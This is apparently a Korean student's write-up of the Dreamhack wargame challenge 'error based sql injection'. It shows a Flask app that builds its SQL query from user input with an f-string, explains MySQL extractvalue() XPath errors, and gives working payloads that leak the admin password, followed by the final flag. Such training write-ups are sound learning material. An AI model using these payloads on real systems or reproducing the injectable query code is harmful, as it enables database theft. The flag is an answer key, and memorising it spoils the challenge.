Web Hacking 과제_2(Dreamhack_error based sql injection)
error based sql injection | 워게임 | Dreamhack | 워게임 | Dreamhack
error based sql injection
Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공
dreamhack.io
해당문제는 sql인젝션에 관한 문제라는 설명, 서버를 생성해보겠다.
생김새를 보니까, sql구문이고, user로 부터 찾을 건데 uid={uid}인 것을 찾기
swlug라고 치니까 uid가 바뀐다. 흠 일단 파일 한번 확인해보자.
init.sql 코드를 살펴보기.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
user라는 테이블에 uid,upw가 guest, guset / test, test로 테이블안에 넣고, admin비밀번호가 flag이다.
key | uid | upw |
0 | admin | flag |
1 | guest | guest |
2 | test | test |
이런식으로 데이터베이스가 구성되어있을 것이다.
app.py 코드이다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
admin으로 시도해서 성공을하면, flag를 찾을 수 있을 것 같은데!!! admin으로 해서 주석처리나 다른 방법을 시도하는데 자꾸 에러가 뜬다.
일단 여태까지 풀어왔던 유형이라는 좀 다른 것 같다는 생각이 들어서 힌트를 찾아보았다.
일단 해당 문제는 error sql이기 때문에 error가 있는지 알아봐야하고, 그렇게 때문에 extractvalue함수를 이용해야한다.
사용방법 : EXTRATVALUE(XML 형식의 값, Xpath 조건식)
올바른 extractvalue() 예시
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
여기서 취약점이 존재하는데, XPATH식에 select문과 같은 구문을 사용하면 select문의 실행 결과를 보여주게 된다.
잘못된 extractvalue() 예시
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
이를 이용해서 익스플로잇을 하기
admin' and extractvalue(1,concat(0x3a,(select upw from user where uid="admin")))
flag값은 ‘admin’의 ‘upw’이기 때문에 admin의 upw를 알기 위해서는 다음과 같은 쿼리를 작성해야한다.
concat()함수 뒤에 0x3a는 아스키 코드로 바꿔보면 ":" 인데, 이것을 이렇게 쓰는 이유는 영문자로 출력시 영문자 부분이 잘리게 된다.
만약 0x41로 한다면 ADH{~~~~}가 아닌 영문자 ADH가 잘린 {~~~~}가 출력된다.
영문자 부분을 올바른 XPATH식으로 인식해서 생략하고 특수문자부터 출력하는 것 같다.
따라서 ":"같은 특수문자를 입력해서 잘리는 부분 없이 출력하도록 해야한다고 한다.
실행결과 글자 수 초과로 인해 뒷부분이 이렇게 잘린다. 이를 해결하기위해서 SUBSTRING()함수를 이용해 문자열을 잘라서 출력해야한다.
앞부분과의 연결성을 위해 substr 함수에 문자열이 20자부터 시작하게 입력한 후 코드를 재작성하여 다음과 같은 코드 ' and extractvalue(1, concat(0x5c, (select substr(upw,20) from user where uid = 'admin'))); 를 입력창에 입력하고 submit을 한다.
' and extractvalue(1, concat(0x5c, (select substr(upw,20) from user where uid = 'admin')));
flag의 뒷부분이 보여지는 것을 알 수 있다.
최종 flag 값은 “ c3968c78840750168774ad951fc98bf788563c4d ”이다.
이 문제는 sql인젝션 문제지만 접근방법이 기존에 풀었던 문제들과 달라 낯설게 느껴졌다.
에러에 관한 문제는 문제를 풀기위해 사용해야하는 다른 함수가 있다는 걸 알게되었으니, 이부분도 잘 알아두었다가 다른 유형의 문제가 나온다면 푸는 시각을 좀더 다각화 하는게 좋을 것 같다.
[참고한 자료]
워게임 드림핵 error based sql injection/challenges-412 (velog.io)
워게임 드림핵 error based sql injection/challenges-412
문제 출처: https://dreamhack.io/wargame/challenges/412이 문제는 Error based sql injection와 관련된 문제이고, 문제 풀이에 앞서 이 문제를 풀기 위해 필요한 간단한 개념정리 및 실전 코드를 설명하고 풀이를
velog.io